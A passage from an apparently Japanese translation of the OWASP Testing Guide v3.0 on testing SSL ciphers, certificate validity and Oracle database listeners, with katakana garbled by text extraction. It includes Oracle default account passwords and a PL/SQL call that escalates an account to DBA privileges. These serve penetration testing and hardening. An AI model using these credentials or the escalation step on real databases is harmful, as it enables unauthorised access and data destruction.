ad:e1:4b:22:ba:5a:9a:1e:0f:0b:fb:3d:5d:e6:fc:<br />

ef:b8:8c:dc:78:28:97:8b:f0:1f:17:9f:69:3f:0e:<br />

72:51:24:1b:9c:3d:85:52:1d:df:da:5a:b8:2e:d2:<br />

09:00:76:24:43:bc:08:67:6b:dd:6b:e9:d2:f5:67:<br />

e1:90:2a:b4:3b:b4:3c:b3:71:4e:88:08:74:b9:a8:<br />

2d:c4:8c:65:93:08:e6:2f:fd:e0:fa:dc:6d:d7:a2:<br />

3d:0a:75:26:cf:dc:47:74:29<br />

Exponent: 65537 (0x10001)<br />

X509v3 extensions:<br />

X509v3 Basic Constraints:<br />

CA:FALSE<br />

Netscape Comment:<br />

OpenSSL Generated Certificate<br />

Page 10<br />

Network Vulnerability Assessment Report 25.05.2005<br />

X509v3 Subject Key Identifier:<br />

10:00:38:4C:45:F0:7C:E4:C6:A7:A4:E2:C9:F0:E4:2B:A8:F9:63:A8<br />

X509v3 Authority Key Identifier:<br />

keyid:CE:E5:F9:41:7B:D9:0E:5E:5D:DF:5E:B9:F3:E6:4A:12:19:02:76:CE<br />

DirName:/C=**/ST=******/L=******/O=******/OU=******/CN=******<br />

serial:00<br />

Signature Algorithm: md5WithRSAEncryption<br />

7b:14:bd:c7:3c:0c:01:8d:69:91:95:46:5c:e6:1e:25:9b:aa:<br />

8b:f5:0d:de:e3:2e:82:1e:68:be:97:3b:39:4a:83:ae:fd:15:<br />

2e:50:c8:a7:16:6e:c9:4e:76:cc:fd:69:ae:4f:12:b8:e7:01:<br />

b6:58:7e:39:d1:fa:8d:49:bd:ff:6b:a8:dd:ae:83:ed:bc:b2:<br />

40:e3:a5:e0:fd:ae:3f:57:4d:ec:f3:21:34:b1:84:97:06:6f:<br />

f4:7d:f4:1c:84:cc:bb:1c:1c:e7:7a:7d:2d:e9:49:60:93:12:<br />

0d:9f:05:8c:8e:f9:cf:e8:9f:fc:15:c0:6e:e2:fe:e5:07:81:<br />

82:fc<br />

Here is the list of available SSLv2 ciphers:<br />

RC4-MD5<br />

85


EXP-RC4-MD5<br />

RC2-CBC-MD5<br />

EXP-RC2-CBC-MD5<br />

DES-CBC-MD5<br />

DES-CBC3-MD5<br />

RC4-64-MD5<br />

The SSLv2 server offers 5 strong ciphers, but also 0 medium strength and 2 weak "export<br />

class" ciphers.<br />

The weak/medium ciphers may be chosen by an export-grade or badly configured client<br />

software. They only offer a limited protection against a brute force attack<br />

Solution: disable those ciphers and upgrade your client software if necessary.<br />

See http://support.microsoft.com/default.aspx?scid=kben-us216482<br />

or http://httpd.apache.org/docs-2.0/mod/mod_ssl.html#sslciphersuite<br />

This SSLv2 server also accepts SSLv3 connections.<br />

This SSLv2 server also accepts TLSv1 connections.<br />

例 3. OpenSSL を 使 用 した 手 動 によるテシトでも、 脆 弱 な SSL の 暗 号 リプラを 調 べることができます。 以 下 は SSLv2 で<br />

Google.com に 接 続 を 試 みている 結 果 です。<br />

[root@test]# openssl s_client -no_tls1 -no_ssl3 -connect www.google.com:443<br />

CONNECTED(00000003)<br />

depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com<br />

verify error:num=20:unable to get local issuer certificate<br />

verify return:1<br />

depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com<br />

verify error:num=27:certificate not trusted<br />

verify return:1<br />

depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com<br />

verify error:num=21:unable to verify the first certificate<br />

verify return:1<br />

---<br />

Server certificate<br />

-----BEGIN CERTIFICATE-----<br />

MIIDYzCCAsygAwIBAgIQYFbAC3yUC8RFj9MS7lfBkzANBgkqhkiG9w0BAQQFADCB<br />

zjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJ<br />

Q2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UE<br />

CxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAxMYVGhh<br />

d3RlIFByZW1pdW0gU2VydmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNl<br />

cnZlckB0aGF3dGUuY29tMB4XDTA2MDQyMTAxMDc0NVoXDTA3MDQyMTAxMDc0NVow<br />

aDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDU1v<br />

dW50YWluIFZpZXcxEzARBgNVBAoTCkdvb2dsZSBJbmMxFzAVBgNVBAMTDnd3dy5n<br />

b29nbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/e2Vs8U33fRDk<br />

5NNpNgkB1zKw4rqTozmfwty7eTEI8PVH1Bf6nthocQ9d9SgJAI2WOBP4grPj7MqO<br />

dXMTFWGDfiTnwes16G7NZlyh6peT68r7ifrwSsVLisJp6pUf31M5Z3D88b+Yy4PE<br />

D7BJaTxq6NNmP1vYUJeXsGSGrV6FUQIDAQABo4GmMIGjMB0GA1UdJQQWMBQGCCsG<br />

AQUFBwMBBggrBgEFBQcDAjBABgNVHR8EOTA3MDWgM6Axhi9odHRwOi8vY3JsLnRo<br />

YXd0ZS5jb20vVGhhd3RlUHJlbWl1bVNlcnZlckNBLmNybDAyBggrBgEFBQcBAQQm<br />

MCQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLnRoYXd0ZS5jb20wDAYDVR0TAQH/<br />

BAIwADANBgkqhkiG9w0BAQQFAAOBgQADlTbBdVY6LD1nHWkhTadmzuWq2rWE0KO3<br />

Ay+7EleYWPOo+EST315QLpU6pQgblgobGoI5x/fUg2U8WiYj1I1cbavhX2h1hda3<br />

FJWnB3SiXaiuDTsGxQ267EwCVWD5bCrSWa64ilSJTgiUmzAv0a2W8YHXdG08+nYc<br />

X/dVk5WRTw==<br />

-----END CERTIFICATE-----<br />

subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com<br />

issuer=/C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services<br />

Division/CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com<br />

---<br />

No client certificate CA names sent<br />

---<br />

Ciphers common between both SSL endpoints:<br />

RC4-MD5 EXP-RC4-MD5 RC2-CBC-MD5<br />

EXP-RC2-CBC-MD5 DES-CBC-MD5 DES-CBC3-MD5<br />

86


<strong>OWASP</strong> Testing Guide v3.0<br />

RC4-64-MD5<br />

---<br />

SSL handshake has read 1023 bytes and written 333 bytes<br />

---<br />

New, SSLv2, Cipher is DES-CBC3-MD5<br />

Server public key is 1024 bit<br />

Compression: NONE<br />

Expansion: NONE<br />

SSL-Session:<br />

Protocol : SSLv2<br />

Cipher : DES-CBC3-MD5<br />

Session-ID: 709F48E4D567C70A2E49886E4C697CDE<br />

Session-ID-ctx:<br />

Master-Key: 649E68F8CF936E69642286AC40A80F433602E3C36FD288C3<br />

Key-Arg : E8CB6FEB9ECF3033<br />

Start Time: 1156977226<br />

Timeout : 300 (sec)<br />

---<br />

closed<br />

Verify return code: 21 (unable to verify the first certificate)<br />

ホワロアテボチクステステとその 事 例<br />

https を 利 用 したウェブコーバの 設 定 状牮 況 を 確 認 してみましょう。 仮 にウェブアプヨクーサュヱが 他 の SSL/TLS によるコービシ<br />

を 提 供 しているのであれば、それらもあわわせて 確 認 しましょう。<br />

例 : windows 2k3 のコーバで 有 効 になっている 暗 号 がリザシトヨにある 以 下 のパシから 確 認 できます。<br />

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\<br />

SSL 証 明 書 の 検 証 -クラアアンヱテおよびびサーバhttps<br />

プルトケラを 利 用 してウェブアプヨクーサュヱにアキスシする 場 合 、スカャアな 通 信 がキョイアヱト(ブョウゴが 一 般 的 で<br />

すが'からコーバ 間 において 確 立 されます。 一 方 (コーバ 側 '、もしくは 双 方 (キョイアヱトおよびコーバ'の 身 元 検 証 の 確 立<br />

にデザソラ 証 明 書 が 用 いられます。 通 信 を 確 立 するためには、 証 明 書 で 多 くの 検 証 項 目 をキヨアしなければなりません。 認<br />

証 の 基 礎 をなす SSL および 証 明 書 についての 説 明 は、 本 オイドの 主 題 から 外 れてしまいますが、 証 明 書 の 有 効 性 を 検 証<br />

する 主 な 基 準 についてフェーォシしたいと 思 います。それは、a) 証 明 書 を 発 行 する 認 証 局 が 既 知 ( 信 頼 できる'のものであ<br />

ること b) 証 明 書 が 現 時 点 で 有 効 であること c) コイトの FQDN(Fully Qualified Domain Name'が 証 明 書 に 表 示 されたコイト 名 と<br />

一 致 していること、が 挙 げられます。<br />

ではそれぞれについて 詳 しく 見 ていきましょう。<br />

a) 今 のブョウゴには、 既 に 信 頼 された 認 証 局 のラート 証 明 書 がイヱシトーラされており、 証 明 書 に 署 名 した 認 証 局 の 検 証<br />

にこれらのヨシトが 用 いられています(このヨシトは 自 由 にォシソボイジや 拡 張 が 可 能 です'。https (Web'コーバとネゲサウ<br />

ーサュヱする 間 に、コーバ 証 明 書 が 未 知 の 認 証 局 から 発 行 されたものであると 確 認 された 場 合 、ブョウゴは 警 告 画 面 を 表<br />

示 します。この 事 象 は、 特牐 に 自 身 で 立 ち 上 げた 認 証 局 (プョイプート CA'から 発 行 された 証 明 書 を 対 象 のアプヨクーサュヱ<br />

で 利 用 している 場 合 に 発 生 します。これが 問 題 と 判 断 するかどうかについては、いくつかの 要 因 によります。 例 えば、イヱト<br />

ョネット 環 境 で 用 いられる 場 合 、この 事 象 は 問 題 ないと 判 断 できます(https を 利 用 して Web ミーラを 提 供 する 会 社 を 考 え<br />

てみてください。この 場 合 にヤーゴは 皆 、 社 内 で 立 ち 上 げた 認 証 局 が 信 頼 された 認 証 局 であると 判 断 するのは 当 然 です'。<br />

一 方 、コービシがイヱソーネットを 利 用 したギルーバラに 公 開 するものであれば(つまり、 通 信 を 確 立 しようと 考 えている 相 手<br />

先 のコーバについて、その 身 元 を 確 実 に 検 証 することが 重 要 であれば'、 信 頼 された 認 証 局 から 発 行 される 証 明 書 が 必 須<br />

87


となります。それは 全 てのヤーゴー 側 で 認 識 できるものです(ですが、 通 常 私 たちは 使 用 のデザソラ 証 明 書 の 信 頼 ムデラ<br />

ついて、 深 く 調 査 したりはしないでしょう'。<br />

b) 証 明 書 は 有 効 期 間 をもっていますので、いつかは 期 限 を 迎 えます。 有 効 期 限 が 切 れた 証 明 書 の 場 合 、やはりブョウゴに<br />

よって 警 告 画 面 が 表 示 されます。 公 開 しているコービシには、 有 効 期 限 がある 証 明 書 が 必 要 です。さもなければ、 一 旦 私 た<br />

ちが 信 頼 した 認 証 局 から 発 行 された 証 明 書 を 持 つが、その 有 効 期 間 の 更 新 をせず 期 限 切 れを 迎 えてしまったコーバに 対<br />

して、 情 報 の 機 密 性 を 守 るためのスカャアな 通 信 を 確 立 しなければならない、ということになります。<br />

c) もし 証 明 書 に 記 載 された 名 前 と 実 際 のコーバ 名 が 一 致 しない 場 合 、どういう 事 になるでしょうか?= 仮 にこのような 事 象 が<br />

起 きたのであれば、 疑 念 を 持 たざるを 得 ないでしょう。ただ、 考 えられる 原 因 がいくつかあるため、それほど 不 思 議 なことでも<br />

ありません。サシテマが 名 前 プーシの 仮 想 ベシトを 立 ち 上 げている 場 合 、いずれも 同 一 の IP アドリシを 共 有 し、HTTP1.1 の<br />

Host ブッゾの 値 によって 識 別 されることになります。このようなクーシでは、HTTP ヨキウシトが 行 わわれる 前 に SSL のハヱドサェ<br />

ーキにおいて 検 証 されるのですが、その 時 点 では 異 なる 証 明 書 をそれぞれの 仮 想 ベシトに 割 り 当 てることはできません。し<br />

かし 証 明 書 に 記 載 された 名 前 と 実 際 のコイト 名 が 異 なっていたとしても、ブョウゴが 出 す 警 告 画 面 によってヤーゴが 認 知 で<br />

きる 仕 組 みになっているため、そこで 確 認 すればいいのです。このような 状牮 態 を 回 避遪 するためには、 名 前 プーシではなく IP<br />

プーシの 仮 想 ベシトを 立 ち 上 げなくてはなりません。[2] や[3]の 資 料 では、この 問 題 を 取 扱 う 方 法 、 名 前 プーシの 仮 想 ベシト<br />

が 適遚 切 に 紐 付 けられるための 技 術 立 ち 上 げる 方 法 について 説 明 しています。<br />

ブラチクボチクステステとその 事 例<br />

アプヨクーサュヱに 利 用 されている 証 明 書 の 有 効 性 を 検 証 しましょう。もし 証 明 書 の 有 効 期 限 が 切 れていたり、 信 頼 されない<br />

認 証 局 から 発 行 されている 場 合 、 紐 付 けられるはずのコイト 名 が 証 明 書 記 載 の 名 前 と 異 なっている 場 合 、いずれについて<br />

もブョウゴが 警 告 画 面 を 表 示 するようになっています。https のコイトを 利 用 する 際 、ブョウゴ 右 下 に 表 示 された 鍵 ボーキを<br />

キヨッキすることで、 証 明 書 に 関 する 情 報 を 見 ることができます( 発 行 元 、 有 効 期 間 、 利 用 暗 号 の 特牐 性 など'。<br />

アプヨクーサュヱにキョイアヱト 証 明 書 を 用 いている 場 合 、アキスシするためにその 証 明 書 をイヱホートしたはずです。 証 明<br />

書 情 報 はイヱシトーラされた 証 明 書 のヨシト 内 にその 証 明 書 に 関 連連 する 証 明 書 を 特牐 定 することにより、ブョウゴ 上 で 有 効 に<br />

なります。<br />

これらの 検 証 は、アプヨクーサュヱが 使 用 する SSL コービシすべてにおいて 実 施 されなければなりません。 一 般 的 に 利 用 さ<br />

れる https コービシはホート 443 番 ですが、 他 にも 導 入 時 における 設 定 不 備 の 問 題 や、ウェブアプヨクーサュヱの 基 盤 によ<br />

って 影 響 する https のコービシ(ホートが 開 放 した 状牮 態 の https による 管 理 者 専 用 コービシや、 特牐 殊 なホート 上 で 稼 働 して<br />

いる https コービシなど'が 存 在 している 可 能 性 もあります。このため、 発 見 された SSL プーシのホートは、この 検 証 を 実 施<br />

するようにしましょう。 例 えば、nmap では、SSL の 実 装 を 識 別 するシカメヱムード(-sV をケボヱドョイヱ 上 に 設 定 します'があ<br />

ります。Nessus 脆 弱 性 シカメナーでは、すべて SSL プーシのコービシについて SSL の 検 証 を 実 施 する 機 能 を 持 っています。<br />

例<br />

想 像 のお 話 よりも、 証 明 書 上 の 名 前 が https のコイト 名 と 一 致 しない 場 合 がどれほど 頻 繁 に 警 告 として 表 示 されるものなの<br />

かを 実 際 見 てもらうため、 匿 名 による 実 例 を 用 いてみました。 以 下 のシキヨーヱサュットは、 著 名 な IT 会 社 の 支 部邪 のコイトで<br />

す。Microsoft の Internet Explorer から 警 告 画 面 が 表 示 されています。 私 たちは“.it”のコイトにアキスシしていますが、 使 用<br />

されている 証 明 書 には、“.com”のコイトになっているのが 分 かります。ブョウゴの Internet Explorer は、コイト 名 と 証 明 書 上<br />

の 名 前 が 一 致 しないことによる 警 告 画 面 を 表 示 しています。<br />

88


<strong>OWASP</strong> Testing Guide v3.0<br />

以 下 は、Mozilla Firefox による 警 告 画 面 です。Firefox での 警 告 ミッスーザは Internet Explorer と 異 なっています。Firefox は、<br />

証 明 書 に 署 名 した 認 証 局 が 既 知 のものではないため、その 認 証 局 が 発 行 した 証 明 書 を 利 用 している“.com”のコイトは 識 別<br />

できない、と 報 告 しています。 実 際 、Internet Explorer と Firefox はもともとイヱシトーラされている 証 明 書 のヨシトが 同 一 のも<br />

のではありません。ゆえに、ブョウゴの 種 類 によって 警 告 表 示 される 内 容 が 異 なることも 十 分 考 えられる 事 象 です。<br />

ホワロアテボチクステステとその 事 例<br />

コーバおよびキョイアヱトそれぞれのリプラで、アプヨクーサュヱが 利 用 する 証 明 書 の 有 効 性 を 調 査 しましょう。 証 明 書 の 使<br />

用 用 途 としては、 主 にウェブコーバのリプラですが SSL を 利 用 した 他 の 通 信 手 段 ( 例 えば DBMS への 通 信 など'が 存 在 し<br />

ている 可 能 性 もあります。すべての SSL プーシによる 通 信 を 特牐 定 するためには、 対 象 のアプヨクーサュヱ 基 盤 をしっかり 確 認<br />

しておくことが 必 要 です。<br />

89


参 照<br />

ホワロアテペーパー<br />

[1] RFC2246. The TLS Protocol Version 1.0 (updated by RFC3546) - http://www.ietf.org/rfc/rfc2246.txt<br />

[2] RFC2817. Upgrading to TLS Within HTTP/1.1 - http://www.ietf.org/rfc/rfc2817.txt<br />

[3] RFC3546. Transport Layer Security (TLS) Extensions - http://www.ietf.org/rfc/rfc3546.txt<br />

[4] www.verisign.net features various material on the topic<br />

ヂール<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

脆 弱 性 シカメナーは、 有 効 期 限 や 名 前 不 一 致 など 証 明 書 の 有 効 性 を 確 認 する 機 能 を 持 っている 場 合 があります。また、シカメ<br />

ナーは 証 明 書 が 認 証 局 から 発 行 された、というような 他 の 情 報 もあわわせて 報 告 します。しかし、 忘 れてはいけないのは、“ 信 頼 さ<br />

れた 認 証 局 ”という 概 念 が 存 在 しないことです。 信 頼 というのは、セフトウェア 上 の 設 定 や、 人 間 による 事 前 の 承 認 によって 確 立<br />

されます。ブョウゴにはもともと 信 頼 された 認 証 局 のヨシトがイヱシトーラされています。もしあなたのウェブアプヨクーサュヱがそ<br />

のヨシトに 存 在 しない 認 証 局 ( 例 えば、 自 身 で 立 ち 上 げた 認 証 局 など'を 信 頼 するのではれば、その 認 証 局 を 信 頼 するためのブ<br />

ョウゴ 側 の 設 定 プルスシを 考 慮 しなくてはなりません。<br />

Nessus シカメナーは、 有 効 期 限 切 れの 証 明 書 を 検 証 するプョギイヱ、あるいは 60 日 以 内 に 期 限 を 迎 える 証 明 書 を 検 証 するプ<br />

ョギイヱ(プョギイヱ“SSL certificate expiry”、プョギイヱ ID15901'を 持 っています。このプョギイヱは、コーバにイヱシトーラされ<br />

た 証 明 書 を 検 証 します。<br />

脆 弱 性 シカメナーは、 脆 弱 な 暗 号 の 利 用 有 無 を 検 証 する 機 能 を 持 っている 場 合 があります。 例 えば、Nessus シカメナー<br />

(http://www.nessus.org)は、 脆 弱 な 暗 号 の 存 在 を 特牐 定 する 機 能 があります( 上 部邪 で 例 を 紹 介 しました'。<br />

SSL Digger (http://www.foundstone.com/resources/proddesc/ssldigger.htm)のような 専 門 のツーラを 利 用 する 場 合 もあるでしょ<br />

う。あるいは、ケボヱドョイヱ 指 向 の openssl ツーラを 用 いることもあるかもしれません。openssl は、Unix サェラ(すでに*nix<br />

boxes 上 で 有 効 になっているかもしれません。そうでなければ www.openssl.org のコイトを 見 てください'から 直 接 Openssl の 暗<br />

号 機 能 へのアキスシを 可 能 にします。<br />

SSL プーシのコービシを 識 別 するために、コービシを 特牐 定 する 機 能 による 脆 弱 性 シカメナーやホートシカメナーを 利 用 しましょう。<br />

nmap シカメナーはコービシの 特牐 定 を 試 みるエプサュヱ“-sV”を 利 用 します。 一 方 、Nessus 脆 弱 性 シカメナーは 任 意 のホート 上<br />

で 稼 動 する SSL コービシを 特牐 定 する 機 能 があり、 標 準 / 非 標 準 のホートでの 構 成 に 関 係 なく 脆 弱 性 のテシトを 実 施 します。<br />

このようなクーシでは、 調 査 のため SSL コービシとの 何 らかの 通 信 を 確 立 する 必 要 がありますが、SSL をコホートするツーラを 持<br />

っていない 場 合 、stunnel のような SSL プルカサを 検 討 してみてください。stunnel は、プルトケラ 内 ( 一 般 的 には http ですが、そ<br />

うとは 限 りません'にトヱネヨヱギを 張 り、 調 べたい 対 象 の SSL コービシとの 通 信 を 確 立 します。<br />

最 後 に 一 言 アドバイシ。 証 明 書 を 検 証 するために、いつも 使 用 しているブョウゴを 選遥 択 したくなりますが、それが 正 しいとは 限 ら<br />

ない 理 由 があります。これまでブョウゴは、 証 明 書 を 検 証 する 領 域 で 多 くのバギに 悩 まされてきました。ブョウゴ 自 身 が 検 証 す<br />

る 方 法 は、 不 十 分 なブョウゴの 設 定 によって 影 響 を 受 ける 可 能 性 があります。つまり、この 方 法 より 脆 弱 性 シカメナーや 調 査 の<br />

ため 独犉 自 にォシソボイジしたツーラの 結 果 を 優 先 して 信 頼 することを 推 奨 します。<br />

4.3.2 DB リストーのテステ(<strong>OWASP</strong>-CM-002)<br />

概 要<br />

デーソプーシヨシナーは Oracle デーソプーシ 特牐 有 のネットワローキデームヱです。Oracle デーソプーシはヨムートキョイアヱト<br />

からの 接 続 要 求 を 待 ちます。このデームヱは 攻 撃 者 から 悪 用 されることが 可 能 なため、 実 際 に 攻 撃 を 受 けてしまうとデーソ<br />

プーシの 可 用 性 に 影 響 を 及 ぼすことになります。<br />

90


<strong>OWASP</strong> Testing Guide v3.0<br />

概 要 の 説 明<br />

DB ヨシナーは Oracle デーソプーシへヨムートからアキスシするための 入 り 口 となります。DB ヨシナーは 接 続 要 求 を 待 ち、 受<br />

付 けたヨキウシトに 応 じた 処 理 を 実 行 します。テシト 者 がこのヨシナーを 利 用 できる 場 合 にテシトが 可 能 になります。テシトはイ<br />

ヱトョネットから 実 施 する 必 要 があります(Oracle は 通 常 このコービシを 外 部邪 に 公 開 していません'。 初 期 状牮 態 のヨシナーは、<br />

ホート 1521 番 を 利 用 しています(ホート 2483 番 は 新 しく 公 式 登 録 された TNS ヨシナーで、ホート 2484 番 は SSL を 利 用 し<br />

た TNS ヨシナーホートです'。この 設 定 されたホート 番 号 を 別 の 任 意 のホート 番 号 に 変 更 するのは 良 い 慣 習 です。もしヨシナ<br />

ーが 停 止 している 場 合 、デーソプーシのヨムートからのアキスシはできなくなります。このようなクーシでは、あるアプヨクーサ<br />

ュヱにコービシ 拒 否 の 攻 撃 を 実 施 しても 成 功 しません。<br />

想 定 される 攻 撃 :<br />

• ヨシナーの 停 止 —コービシ 拒 否 攻 撃<br />

• パシワロードを 発 行 し、ヨシナーによる 制 御 処 理 一 切 を 拒 絶 する– DB の 乗 っ 取 り<br />

• tnslnsr のプルスシ 管 理 者 ( 通 常 は Oracle'がアキスシ 可 能 なルギファイラの 生 成 や 追 跡 可 能 なファイラの 作 成 - 情<br />

報 漏 えいの 可 能 性<br />

• ヨシナーやデーソプーシ、アプヨクーサュヱ 上 での 詳 細 な 情 報 を 収 集 する。<br />

ブラチクボチクステステとその 事 例<br />

Integrigy が 開 発 したツーラは、ヨシナーの 存 在 が 確 認 されたホートに 対 して 即 座 にアキスシさせることができます。<br />

上 部邪 のツーラは 以 下 のようなテシトを 実 施 します。<br />

リストーのパスワローデ:くの Oracle サシテマでは、ヨシナーのパシワロードが 設 定 されていない 場 合 があります。このツーラは<br />

その 検 証 を 行 います。パシワロードが 設 定 されていない 場 合 、 攻 撃 者 はパシワロードを 新 たに 発 行 し、ヨシナーを 乗 っ 取 ることが<br />

可 能 になります(それは、 仮 に Listener.ora ファイラの 編 集 によってそのパシワロードが 削 除 されたとしても、です'。<br />

91


ロギが 有 効 : 記 のツーラはルギの 記 録 が 有 効 になっているかどうか 検 証 します。 有 効 に 設 定 されていない 場 合 、そのヨシナ<br />

ーで 変 更 されたいかなる 処 理 も 証 跡 がないために 特牐 定 することができないでしょうし、 記 録 もされません。また、ヨシナー 上<br />

での 総 当 り 攻 撃 による 検 出 も 行 わわれません。<br />

管 理 者 機 能 の 制 限 : 管 理 者 機 能 の 制 限 が 有 効 となっていない 場 合 、ヨムートから“SET”ケボヱドの 利 用 が 可 能 です。<br />

例 : あるコーバで TCP ホート 1521 番 を 発 見 したのであれば、 遠遒 隔 から 通 信 が 可 能 な Oracle ヨシナーが 有 効 であるかもし<br />

れません。もしヨシナーが 認 証 機 能 による 防 護 がなされていない 場 合 、あるいは 機 密 情 報 に 簡 単 にアキスシできる 場 合 、こ<br />

の 脆 弱 性 を 利 用 し、 対 象 の Oracle コービシに 関 連連 する 情 報 を 洗 い 出 すことが 可 能 です。 例 えば、LSNRCTL(.exe)( 今 はあら<br />

ゆる Oracle キョイアヱトにイヱシトーラされています'を 利 用 し、 以 下 のような 情 報 を 取 得 することができます。<br />

TNSLSNR for 32-bit Windows: Version 9.2.0.4.0 - Production<br />

TNS for 32-bit Windows: Version 9.2.0.4.0 - Production<br />

Oracle Bequeath NT Protocol Adapter for 32-bit Windows: Version 9.2.0.4.0 - Production<br />

Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 9.2.0.4.0 - Production<br />

Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 9.2.0.4.0 - Production,,<br />

SID(s): SERVICE_NAME = CONFDATA<br />

SID(s): INSTANCE_NAME = CONFDATA<br />

SID(s): SERVICE_NAME = CONFDATAPDB<br />

SID(s): INSTANCE_NAME = CONFDATA<br />

SID(s): SERVICE_NAME = CONFORGANIZ<br />

SID(s): INSTANCE_NAME = CONFORGANIZ<br />

Oracle ヨシナーは 初 期 状牮 態 のヤーゴを Oracle コーバ 上 に 列 挙 します。<br />

User name<br />

OUTLN<br />

DBSNMP<br />

BACKUP<br />

MONITOR<br />

PDB<br />

Password<br />

OUTLN<br />

DBSNMP<br />

BACKUP<br />

MONITOR<br />

CHANGE_ON_INSTALL<br />

上 記 の 場 合 、 権 限 昇 格 された DBA アォウヱトは 見 つかりませんでしたが、OUTLN や BACKUP アォウヱトは 権 限 昇 格 の 要 因<br />

となり 得 ます。いかなる 処 理 も 実 行 します-+この 意 図 するところは、すべての 処 理 が 可 能 になっている、ということです。 例 を<br />

以 下 に 示 します。<br />

exec dbms_repcat_admin.grant_admin_any_schema('BACKUP');<br />

このケボヱド 実 行 により、DBA の 権 限 昇 格 を 得 ることができます。この 時 点 でヤーゴは 直 接 DB と 双 方 向 の 関 係 を 持 ち、 実<br />

行 することができます。 例 をみて 見 ましょう。<br />

select * from session_privs ;<br />

この 処 理 の 結 果 は 以 下 のような 画 面 になります。<br />

92


<strong>OWASP</strong> Testing Guide v3.0<br />

このため、ヤーゴは 多 くの 処 理 を 実 行 することができます。 特牐 にテーブラのデーソ 削 除 やテーブラ 自 体 の 削 除 等 です。<br />

リストーの 初 期 状 態 のポーテ<br />

Oracle コーバの 発 見 する 過遃 程 において、 以 下 のようなホートが 発 見 されるかもしれません。 以 下 は、 初 期 状牮 態 のホートの 一<br />

覧 になっています。<br />

1521: Default port for the TNS Listener.<br />

1522 – 1540: Commonly used ports for the TNS Listener<br />

1575: Default port for the Oracle Names Server<br />

1630: Default port for the Oracle Connection Manager – client connections<br />

1830: Default port for the Oracle Connection Manager – admin connections<br />

2481: Default port for Oracle JServer/Java VM listener<br />

2482: Default port for Oracle JServer/Java VM listener using SSL<br />

2483: New port for the TNS Listener<br />

2484: New port for the TNS Listener using SSL<br />

ギレアボチクステステとその 事 例<br />

リストーの 権 限 昇 格 の 制 限 に 関 するテステ<br />

デーソプーシやミムヨのアドリシフィーラドに 不 必 要 なファイラの 読 取 りや 書 込 みを 防 止 するため、ヨシナーに 与 える 権 限 を<br />

必 要 最 小 限 に 留 めることが 重 要 です。<br />

Listener.ora ファイラは、デーソプーシヨシナーに 関 するプルパティ 情 報 を 持 っています。Listener.ora のファイラを 確 認 する<br />

場 合 には、 以 下 の 設 定 情 報 が 存 在 するかを 確 認 してください。<br />

ADMIN_RESTRICTIONS_LISTENER=ON<br />

リストーパスワローデのテステ<br />

ステ<br />

多 くの 既 知 の 攻 撃 が 実 行 されている 背 景 に、ヨシナーパシワロードが 設 定 されていないことが 挙 げられます。Listener.ora ファ<br />

イラを 調 査 することで、パシワロードが 設 定 されているかどうか 確 認 することができます。<br />

パシワロードは Listener.ora ファイラから 直 接 編 集 できます。それは、このファイラに“PASSWORDS_”を 入 力 しま<br />

す。ただ、Listener.ora ファイラに 直 接 記 入 すると、そのパシワロードは 平 文 の 状牮 態 で 保 存 されてしまうため、ファイラにアキス<br />

93


シできる 人 は 誰 でも 読 み 取 ることができてしまいます。より 安 全 な 方 法 として、LSNRCTRL ツーラの change_password ケボヱド<br />

を 利 用 する 方 法 があります。<br />

LSNRCTL for 32-bit Windows: Version 9.2.0.1.0 - Production on 24-FEB-2004 11:27:55<br />

Copyright (c) 1991, 2002, Oracle Corporation. All rights reserved.<br />

Welcome to LSNRCTL, type "help" for information.<br />

LSNRCTL> set current_listener listener<br />

Current Listener is listener<br />

LSNRCTL> change_password<br />

Old password:<br />

New password:<br />

Re-enter new password:<br />

Connecting to <br />

Password changed for listener<br />

The command completed successfully<br />

LSNRCTL> set password<br />

Password:<br />

The command completed successfully<br />

LSNRCTL> save_config<br />

Connecting to <br />

Saved LISTENER configuration parameters.<br />

Listener Parameter File D:\oracle\ora90\network\admin\listener.ora<br />

Old Parameter File D:\oracle\ora90\network\admin\listener.bak<br />

The command completed successfully<br />

LSNRCTL><br />

参 照<br />

ホワロアテペーパー<br />

Oracle Database Listener Security Guide - http://www.integrigy.com/securityresources/whitepapers/Integrigy_Oracle_Listener_TNS_Security.pdf<br />

ヂール<br />

<br />

<br />

TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html<br />

Toad for Oracle - http://www.quest.com/toad<br />

4.3.3 アンヱフラステラクタメの 設 定 に 関 するテステ(<strong>OWASP</strong>-CM-003)<br />

概 要<br />

相 互 連連 携 や、 多 様 な 構 成 からなる 複 雑 なウェブコーバのイヱフョシトョキタメは、( 数 えれば 何 百 ものウェブアプヨクーサュヱ<br />

がありますが'それぞれのウェブアプヨクーサュヱのテシト、あるいは 導 入 時 における 設 定 管 理 の 評 価 および 基 本 的 段 階 で<br />

のリビャーが 求 められます。 実 際 、イヱフョシトョキタメ 全 体 の 安 全 性 を 脅 かすたった 1 つの 脆 弱 性 や、 影 響 の 小 さい 不 具<br />

合 、(ほとんどの' 重 要 でない 不 具 合 であったとしても、 同 じコーバー 上 にある 他 のアプヨクーサュヱに 影 響 を 及 ぼし、 重 大 な<br />

